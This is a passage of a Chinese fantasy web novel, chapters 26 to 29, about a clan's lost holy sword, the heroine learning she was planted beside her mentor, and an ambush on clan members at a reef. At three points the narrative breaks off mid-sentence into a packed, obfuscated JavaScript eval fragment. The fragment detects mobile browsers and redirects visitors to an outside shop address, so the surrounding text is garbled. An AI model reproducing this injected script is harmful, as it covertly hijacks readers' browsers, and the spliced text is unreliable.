焚梦圣剑在焉迦族长手中,绽放出难以直视的金色光华!那光芒温暖而浩大,带着无坚不摧的锐利,甫一出现,便与周遭灰暗的禁灵阵法光芒激烈碰撞,发出滋滋的腐蚀之声,竟将靠近焉迦身周的阵法压制之力强行逼退数尺! “随我破阵!”焉迦族长清叱一声,剑光化作一道金色长虹,直斩头顶的符箓锁链网! 八名影卫怒吼着,背靠背结成战阵,尽管血脉之力被阵法压制,动作稍显凝滞,但个个悍不畏死,将扑上来的敌人死死挡在外围。 “族长小心左侧!”云翼一剑格开三道飞剑,反手刺穿了一名赤阳宗弟子的咽喉,鲜血溅了他一脸。 焉迦剑光回转,将几名试图偷袭的凌霄阁修士连人带法宝斩为两截,金色剑芒所过之处,敌人的护身灵光像纸糊的一样,全散掉了。“维持阵型,向东南角移动,那里阵法节点似乎较弱!” 焉迦宛如战神,剑光与她的血脉之力共鸣,在她周身形成了一圈淡金色的领域,领域之内,族人的压力稍减,敌人的动作却仿佛陷入了泥沼。 “保护族长!焚梦圣光所在,便是我族阵地!”汐月声音冷静,手中双短刃化作道道银芒,割断了一名悬镜寺武僧的脚筋,同时侧身避开一道炽热的火球。她的目光始终紧盯着三位宗主和那些手持特殊法器的敌人。 三位宗主没有立刻加入围攻,而是站在外围,冷静地指挥。 “消耗她!用低阶弟子去填!阵法持续压制,她支撑不了多久的!”玉灵子冷声下令,眼神死死盯着焉迦手中光芒万丈的焚梦,贪婪几乎溢出眼眶。 朱煌挥手间,数十名赤阳宗弟子结成了火阵,喷吐出滔滔烈焰,他们没有采取直接攻击,而是化作粘稠的火毒雾气,不断侵蚀,污染焚梦圣剑散发的金色领域,试图玷污其纯净的圣力。 了尘大师则指挥悬镜寺弟子,不断掷出刻满经文的金色降魔杵和念珠,这些佛门法器经过特殊炼制,对“邪魅”之力有额外的克制与干扰效果,叮叮当当撞击在金色领域上,虽然大多被弹开或震碎,但也让领域的光芒微微波动。 战斗惨烈无比,敌人像潮水,一波接一波。 影卫们开始出现伤亡。 一名影卫为了替同伴挡住朱煌射出的一道浓缩火针,被穿透胸膛,瞬间化为了焦炭。 另一名影卫被几名凌霄阁剑修联手布下的剑阵绞杀,尸骨无存。 云翼左臂被一道阴毒的寒冰剑气划伤,伤口瞬间凝结并蔓延出黑色脉络,他闷哼一声,挥剑斩断自己的左臂,脸色苍白如纸,却依然死战不退。 “云翼!”汐月花容失色,大声惊呼。 “喏,没事!死不了!”云翼咬牙,单手持剑,攻势更加疯狂了。 焉迦族长看在眼里,痛在心中,剑势愈发凌厉,试图尽快破开阵法核心,带领剩余的人突围。焚梦圣剑光芒依旧炽盛,但如果仔细看,剑身流转的金光边缘,已经隐隐沾染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱煌所化的烈焰狠狠撞在她的手腕上,骨头碎裂声清晰可闻! 了尘大师的金刚杵结结实实砸在她的后心,护体金光彻底破碎,她狂喷出一口夹杂着内脏碎块的鲜血,身体向前踉跄! “不——!!!”在焉迦族长凄厉不甘的怒吼声中,焚梦圣剑脱手飞出,在空中划过一道黯淡的弧线...... 早已等候多时的玉灵子,脸上露出了计谋得逞的狂喜,他伸开手臂,一把将坠落的焚梦圣剑捞在手中! “啧啧,到手了!哈哈哈哈哈!”玉灵子手握剑柄,试图催动控制圣剑,但焚梦在他手中,像极了最普通的凡见俗铁,毫无光华,甚至隐隐传来抗拒与灼热感,玉灵子的手掌很快就被灼烧的通红一片。 朱煌和了尘收了神通,迫不及待的围了上来,俩人看着圣剑,又惊又疑。 “不管了,带走!回去再慢慢研究,先把残局收拾了吧!”玉灵子压下心中的不安,厉声催促道。 于是,重伤濒死的焉迦族长被几名修士制住,剩余的影卫死的死,伤的伤,而云翼抱着气息消散的汐月,浑身颤抖,发出一声嘶力竭的哀嚎…… “阿月......” 这场景太过悲恸,雪闻笙一时间承受不住,连忙闭上眼睛,强行凝聚神思,慢慢的将自己从“眼前”的场景中抽离出来。 “夺剑之后,那些伪君子并没有立刻杀死重伤的焉迦族长,”女使长的恨意深入了骨髓,“他们将她扣押,妄图逼问操控圣剑的真正秘法,逼问曦光城的防御弱点。族长宁死不屈,受尽折磨......最后,是城内留守的族人拼死发动了一次不计代价的救援,才抢回了奄奄一息的族长......但焚梦圣剑,就此失落敌手。” 她缓了缓,那悲戚仿佛化作了阴云,笼罩下来:“失去圣剑,族长重伤濒死,对我族而言是天崩地裂的打击。然而,这仅仅是噩梦的开始。那些宗门发现,焚梦圣剑在他们手中,尽管依旧锋利无匹,却黯淡无光,再也无法激发那浩瀚的圣力,甚至隐隐排斥他们的灵力,仿佛一块有灵性的顽铁。他们无法驾驭,便更加贪婪和恐惧,认定我族掌握着他们不知道的秘密。” “于是,接下来的故事你可以想象到,一场持续了数十年的、冠以‘清除邪魅,夺回被盗圣器’之名的血腥清剿,全面展开了。”女使长的声音低得如同梦呓,“没有焚梦圣剑的威慑,失去了族长统一指挥,曦光城的防御被逐步攻破。他们烧毁了我们的城池,践踏了我们的祭坛,屠戮我们的族......男人被斩杀或掳为奴工,女子......下场更为凄惨。就连小孩子也不放过......那是一场针对整个族群的灭绝行动。鲜血染红了云雾,哀嚎日夜不绝。我们被迫抛弃家园,四散奔逃,像受伤的野兽一样躲进更深的山林,更险的沼泽,更远的荒原……从曾经尚有尊严的曦光城主人,沦落到只能像阴沟里的老鼠一样东躲西藏,在追捕与猎杀中苟延残喘。无数支脉彻底断绝,传承遗失,曾经的辉煌与骄傲,被踩进泥泞里,碾得粉碎。” 她抬起头,看着雪闻笙,眼中燃烧着不灭的火焰:“我们不服!这一百多年来,每一个流淌着魅族血液的人,心中都刻着这血海深仇!夺回焚梦圣剑,不仅仅是为了找回一件武器,更是要夺回我族的尊严,夺回我们生存的依仗,告慰无数惨死的先辈之灵!我们要让那些双手沾满鲜血的伪君子知道,魅族的血不会白流,属于我们的东西,一定会拿回来!哪怕要付出更大的代价,哪怕要掀翻这虚伪的世道!” 女使长这番追忆陈情,悲戚入骨,恨意滔天,族人被屠戮时的绝望眼神,家园在烈焰中崩塌的巨响,正道修士冷酷无情的追杀面孔......与她梦境中那些破碎的哀嚎与奔逃的身影严丝合缝地重叠在一起。 而且,她体内那股一直潜伏在深处的,属于魅族的血脉,此刻像沉睡的火山被唤醒了,汹涌着澎湃起来。那不是纯粹的力量感,是一种伴随着血脉奔流传递而来的,跨越了百年的,深切入骨的悲伤,屈辱与愤怒!她的指尖在微微发颤,心脏沉重地跳动着,仿佛每一次搏动,都在回应着那历史长河中无数族人的泣血呼喊。 女使长的目光再次聚焦在雪闻笙身上,炽热专注:“只有你了,墨璃,你是我族唯一的希望!你是族长以生命为代价,用秘法孕育出来的,你是我族血脉最为纯净的玄女!现在只有你,才有可能感应到被封印的焚梦,找到它,才有可能真正唤醒你的力量并使用它!” “我?”雪闻笙被巨大的信息量压得几乎喘不过气,她忽然觉得肩上背负着沉重的期望:“可是......可是我为什么会出现在尘寂山?为什么......会在明决身边?” 她终于问出了心里最渴望知道答案的那个问题。 27. 第 27 章 女使长微微垂下眼眸,叹了口气,无奈道:“那是我们不得已而为之的计划。” “明决,是曾经公认的玄门第一人“至臻大师”的弟子,他虽然年轻,但修为深不可测,且精通各种阵法封印之术。那帮人拿到圣剑用不了,又断不会还给我们,所以我们推测,他们可能藏起来了,据可靠消息,尘寂山是焚梦最有可能的藏匿之处,明决可能就是守护封印之人,就算不在那,也一定与尘寂山有关,明决一定知晓线索。但尘寂山阵法重重,明决本人更是深不可测,难以接近,我们想了很多办法,试了很多次......” “所以......”雪闻笙的声音微微颤抖,说出来那个残酷的事实,“我是被你们故意遗弃......送到他身边的?” 女使长沉默了片刻,没有直接回答。 不过她什么也不用说了,雪闻笙已经明白了这一切。 “我们需要一个人,一个能让他放下戒备,并且能够自由出入尘寂山,甚至......能够接近他核心秘密的人。你拥有最完美的伪装,并且没有记忆,纯真无邪,再加上我族的容貌天赋......这是接近他最好,也是唯一的机会。” 雪闻笙觉得一股寒意从脚底直窜头顶,她一直以为的救命之恩,以为的偶然收留,原来从头到尾,都是一场精心策划的阴谋!她所谓的“家”,所谓的“同族亲人”,从一开始就在处心积虑的利用她!凡世间的小孩,大多是在父母亲人的期盼中孕育出来的,而她,从一开始就是被带着目的,强行催生出来的一个棋子,一个玩物! 她此刻的心情真是复杂到了极点,她都快麻木了,但是心底仍然有个渺小的声音在问自己:那......明决呢? 他是否......也曾对自己的来历有过一丝怀疑,他知道这背后的目的吗? 他收留她,教导她,是否也同样带着某种她所不知道的目的? 这些念头让她心如刀绞。 “孩子,我知道你一时难以接受。”女使长的声音放缓,带着蛊惑般的柔和,“但这就是你的宿命。你是魅族的玄女,你的肩上,担负着整个族群的未来与希望。你的快乐,你的悲伤,你的爱恨......都应该与族群共存亡,很残酷,是不是,但这就是你存在的全部意义,你得学会接受。回到我们中间来,拿回属于你的一切,带领我们,重现我族昔日荣光!” 这位老婆婆在说什么? 什么宿命?什么族群?什么荣光?这些像一节一节沉重的枷锁,向她袭来。 她看着女使长眼中狂热的期盼,看着阴影中荣御沉默坚定的身影,感受着周围空气中弥漫的属于同类的气息与眼前祭坛上刻画的沉重历史...... 她迷茫了。 原本想要回到明决身边的念头清晰无比,在这一刻,被这血色的宿命与身世,冲击得摇摇欲坠。 她该怎么办? 是继续追寻遥不可及的个人情爱,还是......承担起这份与生俱来,沉重又黑暗的族群责任? 她的心,陷入了一片前所未有的混乱。 女使长没有继续施压,也没有强迫她,忽然被人告知了身世与族群的宿命,她确实太累了,需要时间好好考虑考虑接下来的路。 于是女使长摆了摆手,荣御现身而出,把她带到了一处僻静的居所休息。等雪闻笙回过神来,看着四周陌生的环境,空荡荡的,这里只有她一个人...... 这几天,雪闻笙——或者说,在这里叫她墨璃更合适。她一直处于一种浑浑噩噩的状态,她无法消化那些庞大的信息,更无法轻易接受强加于身的“重任”。她没有把自己关在屋子里,像个游魂一般在岛屿周围徘徊,看着那些拥有惊世美貌的族人们,如何在资源的匮乏中保持对外警惕,艰难地维持着生存。 他们采摘岛上奇异的果实,捕捞海中稀有的鱼获,用独特的方式纺织,冶炼,一切自给自足,却也处处透着与世隔绝的窘迫。许多族人身上都带着陈年旧伤,眼神深处藏着难以磨灭的惊恐,还有仇恨。他们看向她时,那份敬畏与期盼,像一块块巨石,压在她心底好难受。 她总忍不住思念尘寂山的宁静,思念明决身上让她心安的气息。可那份思念,如今也染上了阴谋的色彩,变得不再纯粹,充满了苦涩与怀疑。 她心里整天灰蒙蒙的,唯一能让她感到一丝鲜亮的,大概就是族里的孩子们了。 这些小小的魅族孩童,因为年纪小的缘故,还没有学会收敛那与生俱来的生命光华。他们一个个粉雕玉琢,眼眸像被山涧清泉洗过的宝石,清澈透亮,闪烁着不染尘埃的天真。他们似乎被血脉深处的本能影响着,被雪闻笙身上那种独特的“玄女”气息所吸引。他们不懂那些压在她肩头的沉甸甸的责任与期许,只是单纯地像趋光的小飞蛾一样,喜欢围着她转,用他们稚嫩的温暖一点一点驱散她周身的清冷。 雪闻笙从来没有被这么多小孩子围着玩闹过,又开心又无措。不过,等孩子们的喧闹渐渐散去之后,她往往会独自一人走到村落旁那个开满星星草的山坡上。 她抱膝坐下,极目远眺,视线仿佛穿透了层层笼罩着魅族栖息地的大雾,望向一个无人知晓的远方,相隔太远了,她也不知道那个地方到底在哪个方位。她久久地看着,沉默着,将尖俏的下巴抵在膝盖上,像一尊凝固的玉像,有一种与年龄不符的孤寂疲惫。 忽然,一颗扎着两个精巧小花髻的小脑袋,从山坡旁的一颗大石头后面,小心翼翼地探了出来。 那是小彩铃,孩子群里最机灵也最细心的小姑娘。她眨巴着那双琉璃似的大眼睛,悄咪咪地观察了雪闻笙好一会儿,看着她微蹙的眉心和抱紧自己的手臂,小脸上露出了若有所思的神情。忽然,她像是顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892660|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟了什么,眼睛一亮,飞快地缩回头,蹑手蹑脚地跑开了。 “哎,小希,鸣宝,阿春,柒柒......你们快过来呀!”她一口气跑到部落边缘的小花园里,压低了声音,急切地呼朋引伴。 小姑娘似乎天生就带着一种让人信服的领导力,不一会儿,被她点到名字的小伙伴们就都聚集齐了。鸣宝跑得最急,小胖脸上还带着汗珠,气喘吁吁地问:“彩铃,怎么了,是玄女姐姐出什么事了吗?”他一副懵懂又着急的样子。 小彩铃摇了摇头,小辫子随着她的动作晃了晃。她神秘兮兮地招了招手,孩子们立刻会意,熟练地勾肩搭背围成一个小圈,几个小脑袋抵在一起,开始叽叽喳喳地讨论起来。 “我看到了,”彩铃小声说,“玄女姐姐一个人坐在山坡上,又不开心了。” “啊?又不开心了?”阿春挠了挠头,“是不是我们昨天玩捉迷藏,不小心把泥巴蹭到她裙子上了?” “肯定不是啦!”一个叫做小希的男孩,总是有很多点子,立刻反驳道,“玄女姐姐才不会为这个生气呢!我觉得......她是想家了。” “想家?这里不就是我们的家吗?难道一人可以有好几个家吗?”鸣宝更困惑了。 柒柒,这群孩子里最害羞,说话总是细声细气的小姑娘,轻轻扯了扯彩铃的衣角,怯生生地问:“那......那我们能做什么呀?我想让姐姐笑一笑,姐姐笑起来最好看了。” 小彩铃用力地点点头:“对!我们就是要让姐姐开心起来!我想好了,我们要送礼物给姐姐,把我们认为最好看,最好玩的东西都送给她!” “哦!哦!哦!我懂了!”小希放下抵着下巴的手,两眼放光,“就像......就像我们哄生气的阿沐那样!把宝贝都拿出来!” 剩下的几个小孩,你看看我,我看看你,彼此眼中都露出了了然和兴奋的光芒,这似乎是一个极其重要又无比光荣的任务。 小彩铃拍了拍手,小大人似的宣布:“好!都明白了吧!现在,解散!去找你们觉得最棒的礼物,一会儿在老地方,山坡下面集合!” 孩子们来也匆匆,去也匆匆,像一阵欢快的小旋风,瞬间就跑没影了,不一会儿,他们便在雪闻笙坐着的那个山坡下悄悄聚集了。每个孩子的小手都紧紧地背在身后,紧紧地攥着自己的“宝贝”,脸上带着既紧张又期待的兴奋红晕,互相交换着“准备好了吗”的眼神。 在小彩铃的带领下,他们一个个乖乖地排好队,迈着小短腿,尽量不发出声音地走上山坡,来到雪闻笙面前。 “姐姐,姐姐,姐姐......”孩子们稚嫩的声音像一串串清脆的银铃,打破了周围的寂静。 雪闻笙从自己的思绪中被唤醒,抬起头,望着眼前这支小小的队伍,见他们个个表情庄重,有些不解:“你们这是......” 28. 第 28 章 排在第一个的柒柒,小脸涨得通红,鼓足了勇气,才把一直藏在身后的小手伸出来。 她的小手里,躺着一条用藤蔓和荧光贝串成的项链。贝壳大小不一,都被细心打磨过,在傍晚微暗的光线下,像一条掬在手中的小小星河。“玄女姐姐,你看,这......这是我串的项链,送给你!”她声音细细的,带着期待,“晚上戴着它,走路就不会怕黑啦。” 雪闻笙微微一怔,伸手接过。指尖触碰到微凉的贝壳,也触碰到了小女孩温暖的掌心。 紧接着,鸣宝也迫不及待地挤上前,她手里紧紧握着一朵小花。花瓣是渐变色,从边缘的淡紫向中心过渡成银白,花蕊处还凝聚着一点点细碎的光。“姐姐,姐姐,这朵小花是星星花,后山开了满山坡呢!你要是喜欢,我带你去看!它们晚上会发光,可漂亮了,像天上的星星掉下来了一样!”她说话像连珠炮,眼睛亮晶晶的,仿佛献上的是全世界最珍贵的宝藏。 小阿春就直接多了,他挥舞着小胳膊小腿,充满活力地跳了几下自创的舞步,小身子摇摇晃晃,像只笨拙的小棕熊。“姐姐你不开心吗?我跳舞给你看好不好?阿沐说我跳舞最能逗人开心了!”他一边跳一边咧开嘴笑,露出缺了一颗的门牙,憨态可掬。 孩子们将她团团围住,七嘴八舌,将自己好不容易找到的美好物件,一股脑地塞到她的手里。他们用那纯真无邪,不掺一丝杂质的关怀,试图驱散她眉间的轻愁。 原来他们刚才神秘兮兮地聚在一起,又跑开,这么郑重地排队上来,是为了这个。 只是为了,让她开心。 她缓缓蹲下身,小心翼翼地收好每一样礼物,然后伸出双臂,轻轻地将离得最近的柒柒和鸣宝揽入怀中。她有些微的哽咽:“谢谢......谢谢你们,姐姐......很喜欢。” 见她终于露出笑容,孩子们更加雀跃了。小彩铃趁机拉住她的手:“姐姐,跟我们走吧!我们带你去个好地方!” “对!带姐姐去看星星花海!”鸣宝立刻附和。 孩子们欢呼一声,有的拉着她的衣角,有的牵着她的手指,簇拥着她,像一群快乐的小鸟,引领着她在林间奔跑。他们绕过虬结的树根,穿过垂挂着发光藤蔓的走廊,踏过潺潺流淌的小溪流。当他们深一脚浅一脚地爬上后山时,夜幕恰好完全降临。眼前的景象,让雪闻笙忍不住轻轻“啊”了一声。 只见漫山遍野,盛开着无边无际的星星花。它们在夜色中一朵接一朵地苏醒,绽放出柔和的星辉,蓝色的、紫色的、银白色的光点连成一片,随着微风轻轻摇曳,宛如流动的星河坠落凡间。 “看!姐姐!是不是很漂亮!”孩子们仰起小脸问她。 “嗯,很漂亮,是我见过最美的景色之一。”雪闻笙由衷地赞叹,眸子里映满了星光。 “那姐姐,我们在这里跳舞吧!”阿春再次提议,这次得到了全体孩子的一致赞同。 他们不由分说,拉着雪闻笙就在这片星光花海中“起舞”。没有章法,没有节奏,只是随心所欲地旋转、跳跃、奔跑。孩子们咯咯的欢笑声像珍珠一样洒落在星光里。阿春卖力地表演着他的“特色舞步”,时不时就会踩到自己的脚差点摔倒。小希配合他模仿林间某种小兽,四肢着地,发出“呜呜”的叫声,逗得大家哈哈大笑。连最害羞的柒柒,也牵着雪闻笙的指尖,小幅度地踮着脚尖转着圈。 雪闻笙被他们的快乐感染着,也试着放松身体,跟着他们轻轻摇摆。她的裙摆拂过花朵,带起一串细碎的光点。她看着这些小小的身影,在这片与世隔绝的天地里,如此无忧无虑,心中那片沉重的阴霾淡化了不少。如果自己没有被送到尘寂山,只是一个普通的魅族小孩,生活是不是就像他们这样呢...... 有了这些孩子们的陪伴,雪闻笙再也没有机会暗自伤神了,只要她开始出现发呆的迹象,孩子们就跑过来把她围起来。又是送浆果又是送奶菇。 雪闻笙每一样都认真地品尝,并给出真诚的赞美。孩子们围坐在她身边,晃荡着小脚丫,在溪边开起了小小的“美食大会”。 吃着吃着,鸣宝忽然歪着头问:“姐姐,你从哪里来呀?为什么我们以前从来没有见过你呢?你以前住在哪里?” 雪闻笙顿住了,她放下了手里的食物,这个问题让她沉默了很长时间。 鸣宝察觉到了气氛有些不对劲,连忙捂住自己的嘴巴。其他小孩子一边打趣她,一边忍不住好奇。 雪闻笙看着孩子们纯真无邪的眼睛,斟酌着词语:“姐姐......从一个很远的地方来,是大人们跟你们说的外面,那里有很高的山,有很宽阔的河流,还有......很多很多跟你们不一样的人。” “唔!那外面是什么样的?好玩吗?”阿春追问。 “......有时候好玩,有时候,也会很累。”雪闻笙轻声说。 小希若有所思:“就像我们有时候玩捉迷藏很开心,但是被阿沐逼着背书就很累一样吗?” 雪闻笙被这个天真又贴切的比喻逗得微微弯起唇角:“嗯,有点像。” “那岂不是很无趣,姐姐你就别想外面啦!”鸣宝拍着胸脯,躺在柔软的草坡上,豪气干云地说,“就在这里跟我们一起!我们这里有星星花,有蜜心果,还有好多好多好玩的地方呢!以后我们保护你!” “对!我们保护姐姐!”孩子们异口同声地喊道,稚嫩的声音在山谷间回荡。 听着这些童言稚语,雪闻笙感觉心尖最柔软的地方被轻轻触动了。这些孩子,他们或许不懂家族与外界纷争的复杂,但他们懂得分享最甜的果子,懂得欣赏最美的风景,懂得用最直接的方式表达他们的喜爱与守护。在这座被外界视为异类,视为诱惑之源的孤岛上,唯有这些流淌着相同血脉的小小族人,给予了她毫无算计,纯粹而炽热的温暖。 不止这样,孩子们还有一个最大的“秘密”要跟他们的玄女姐姐分享呢。 在一个月华如练的夜晚,小彩铃带领着队伍,穿过一条极其隐蔽的小径,来到了一片神奇的森林。这里的树木并不高大,但每一片叶子都散发着不同颜色的微光,红的、绿的、黄的,像挂满了无数小小的彩色灯笼。林间飞舞着数不清的,体型稍大一些的光点,它们是魅族栖息地特有的水晶萤,翅膀在月光下折射出细碎的彩虹光晕。 “你瞧呀,这里是我们的秘密基地!”小彩铃小脸上满是自豪,“只有我们知道哦!” 孩子们在这里更加放肆地玩耍。他们追逐着水晶萤,让它们停在指尖,他们躲在发光的树木后面玩捉迷藏,光影交错,让寻找变得格外有趣。他们还一起爬上那棵最大,散发着橙黄色暖光的“灯笼树”,坐在粗壮的枝桠上,晃悠着双腿,看着下方梦幻的光之森林。 “姐姐,你看那颗最亮的星星,”柒柒依偎在雪闻笙身边,伸手指着天空,“阿沐说,对着它许愿,愿望可能会实现哦。” 雪闻笙顺着她指的方向望去,夜空中星河璀璨。 “那姐姐你快许个愿!”鸣宝催促道。 雪闻笙看着环绕在身边,一张张充满期待的小脸,缓缓闭上眼睛,双手在胸前轻轻交握。她在心里默默地说:“如果可以,请让这些孩子们,永远不要失去此刻的纯真与快乐。请让这片土地,永远成为他们的净土。” 当她睁开眼睛时,看到的是孩子们亮晶晶,充满关怀的眼睛。 “姐姐,刚刚你许了什么愿?”小希好奇地问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“不知......”女使长轻轻重复了一遍,念珠在指间停了一瞬,眉峰微蹙,“时间不等人呐,孩子。血脉的呼唤不会一直如此温和,墨璃始终是个女孩,自小在外,这般大的年纪了,还从来没接受过玉罂花的‘洗髓之礼’,要是她哪天动了情......哎,罢了,且不说这个,只说眼下,难道外界的风浪永远不会吹到这孤岛来吗?她需要契机,需要一个推力,去真正‘看见’事实,而不只是‘听说’。” 她沉吟片刻,目光投向殿外波光粼粼的海面,忽然又问道:“算算日子,到了该采集‘海玉骨’的时候了吧?” 荣御颔首:“是的。东北方三十里外的‘碎星礁’,本月望日前后,潮汐之力最弱,正是开采良机。” “嗯。”女使长眼中闪过一丝精光,她招了招手,“你过来。” 荣御上前几步,躬身附耳。 女使长压低声音,语速缓慢道:“这次采集,你带上墨璃一起去。就说让她熟悉周边海域地形,见识一下海岛以外的风光,总闷在屋里看旧书不好,终日跟小孩子们厮混在一起也不好。碎星礁附近景色奇崛,也算是个由头。” 荣御眼神微动,没有立刻应声。 女使长知道他的顾虑,继续低语,声音更轻,却字字清晰:“当然,不只是带她看风景。碎星礁往北,绕过那片迷音涡流......” 她抬眼,深深看着荣御:“你的任务,是护她周全,引她至那片珊瑚峡附近。不必刻意指点,只需确保她‘经过’。剩下的交给血脉,交给机缘。记住,若无危险,你便只是向导,无需多言。若遇到变故......”女使长眼中厉色一闪,“你知道该怎么做。” 荣御沉默了片刻,似乎是在消化这安排中的所有含义,随即躬身,简洁应道:“是,属下明白。” “去吧,”女使长挥挥手,重新闭上眼,“望日之前出发。那孩子聪明,心性又敏感,邀请她出门的时候......记得委婉些。” “是。” 29. 第 29 章 次日清晨,海鸟啼鸣。雪闻笙坐在屋前一块平滑的礁石上,心想,孩子们呢?往常这个点已经过来了,她望着远处海天交界处发愣。 荣御的身影悄无声息地出现在不远处,直到他刻意放重了脚步,雪闻笙才恍然回神。 “荣御?早啊。”雪闻笙站起身,拍了拍裙子上的沙粒。 “早。”荣御走到近前,目光掠过她眼下淡淡的青灰,“没休息好?” “嗯......看了些闲书,想了些事。”雪闻笙含糊道,随即岔开话题,“找我有事吗?” “嗯。”荣御点头,语气如常,“近日岛上需要派人去东北方的‘碎星礁’采集海玉骨,这是修复器物,维持部分阵法所需的材料。你自从来到岛上,便一直没过海,碎星礁一带海景与岛上不同,礁石嶙峋,别有奇观。此次出行,你可愿同行?权当熟悉海域,亦可散心增识嘛。” 他话说得平稳,理由也合情合理,雪闻笙却微微一怔。 出海?离开这座看起来很安全,其实对她充满无形压力的岛屿?她当然想了。 但不知为何,她下意识地想婉拒:“我......我对采集不懂,会不会给你们添麻烦?而且,那些族志我还没看完......” “无妨。”荣御打断了她,“采集自有专人负责。你只需要跟着去,看看便是。读万卷书,行百里路。有些风景,亲身所见,与书中描绘终究是不同的。”他停顿一下,补充道,“海岛风光虽好,看久了也单调。换一处视野,或许对你想不明白的事......有所助益。” 最后一句说得轻描淡写,却像一根细针,轻轻扎了雪闻笙一下。 她抬头看向荣御,他眼神澄净,仿佛刚才的话只是随口一提。她沉默了片刻,深吸一口气,压下心头那一丝轻微的抵触:“好啊。什么时候出发?我需要准备什么?” “明日清晨,潮水最平缓时。穿戴的利落些,海上风大浪急,虽然有舟楫防护,难免颠簸。其他所需物品,我会准备的。”荣御见她应下,也不多言,点了点头,“那你先准备,具体事宜我再与你细说。”说完,便转身离去了。 雪闻笙转头看向浩瀚无垠的大海,心想,碎星礁......那会是一个怎样的地方?真的只是看风景吗?她知道,这趟出行,自己即便尚未准备好,也已经被命运的潮汐,推着向前了。 第二天,他们乘坐着用特殊木材制成的小舟,上面刻有隐匿的符文,悄然出发了。 一路上,荣御和族人都极其警惕,雪闻笙刚开始不以为然,甚至觉得有些好笑,但是看着他们小心翼翼,像惊弓之鸟,她心中逐渐开始不安了。 果然,就在他们即将抵达那片礁石群时,远处突然传来了灵力剧烈碰撞的轰鸣声,还有......一声凄厉的孩童惨叫! 所有人的脸色瞬间变了! “不好!”荣御紫眸一凛,周身的气息骤然变得锐利,“是我们的巡逻队遭遇了修士!” 他立刻下令加速,小舟迅速冲向事发地点。 脚下的礁石粗粝湿滑,带着海水的咸腥气。雪闻笙被荣御和另一名族人几乎是半架着,跃下颠簸的小舟,踉跄着冲上了这片较高耸的碎星礁。 “先查探情况,万万不可轻举妄动!”带路的族人,是一个名叫海岩的健硕男子,压低了声音警示道,脸色凝重。他示意众人伏低身形,借助嶙峋礁石的遮蔽,悄然向前摸去。 雪闻笙心跳不由自主地加快,她有种不祥的预感。于是学着荣御的样子,趴在一块凸起的黑色礁石后,小心翼翼地探出一点视线。 景象映入眼帘的瞬间,雪闻笙如遭雷击,浑身的血液似乎都冻结了,下方是一处相对平坦的礁石洼地,此刻却成了血腥的屠场。 几个身着月白色镶蓝边道袍,袖口绣着云纹的修士,正在结成某种简易的阵法,将三个身影死死围困在中央。 被围攻的,是两名身材高大,衣衫破碎浑身浴血的成年男子。他们有着与荣御,与岛上族人相似的深邃轮廓,额角隐约可见极淡的赤色纹路——他们是魅族人!更让雪闻笙心惊肉跳的是,被他们死死护在中间,紧紧抱着其中一人大腿的,是一个扎着两个歪斜揪揪的小女孩! 那张惊恐万状,挂满泪珠的小脸,雪闻笙绝对不会认错,是前两天在岛上,给她摘花,笑得眉眼弯弯,声音又甜又脆喊她“姐姐”的鸣宝! “阿爹!阿爹!鸣宝怕......”鸣宝的哭声断断续续,小小的身体抖得像风中的落叶。那个男子,显然就是她的父亲,左肩一道深可见骨的伤口正汩汩冒血,却半步不退,将女儿严严实实挡在身后。 “妖孽!真是能躲,被发现了还敢跑?速速束手就擒,交出这孽种,或许可免些皮肉之苦!”为首一名面皮白净,长着三角眼的修士厉声喝道,他手中长剑寒光飒飒,语气正义凛然,眼神却像毒蛇一般在鸣宝和她父亲身上逡巡,满是估量与算计。 另一个满脸横肉,络腮胡的修士嗤笑一声,舔了舔嘴唇,道:“赵师兄,跟这些非人异类废什么话啊?瞧这小崽子,才几岁?眉眼就已经这般勾人,果然是天生的妖媚种,留着她长大,还不知要祸害多少同道!依我看,就地正法,以绝后患!” “王师弟所言极是,”旁边一个瘦高个修士阴恻恻地接口,眼睛紧紧盯那两位受伤的魅族男子,“而且,这两个成年魅族,修为不弱,取其内丹精血,无论是炼丹还是炼制法器,都是上佳材料。尤其是这个当爹的,护犊心切,血脉激荡,此刻内丹品质最佳!” “你们......你们休想!”鸣宝的父亲目眦欲裂,嘶哑道,“我们避居海外,从来没有主动伤过人!我女儿才六岁!她什么都不知道!求求你们,放过孩子!要杀要剐,冲我来!”他猛地将鸣宝往后一推,推向了身后同样重伤,几乎站立不稳的同伴,“阿卓!快,快带鸣宝走!” 那个叫阿卓的族人眼眶通红,一把将鸣宝揽近怀中,绝望地摇了摇头,他知道的,在这些修士设定好的重重阵法的围困下,他们绝无生路。 “走?往哪儿走?”三角眼修士赵师兄笑言,“今日你们三个,一个都别想跑!杀了你们,拿了内丹,我等回宗门又是大功一件!还能得了这海外魅族隐匿的线索!美哉美哉,动手!” 说完最后两个字,他们几人杀机暴涨!数道剑光挟带着破空之声,从不同角度狠辣刺过来! 两名魅族男子立刻出手防御,结了个印,周身泛起黯淡的银光,那是血脉之力催动到极致的表现,他们手里挥舞着不知从何处捡来的礁石碎块和自身凝聚的微弱法力,拼命抵挡。 “铛!铛!”金石交击声分外刺耳,火星四溅。 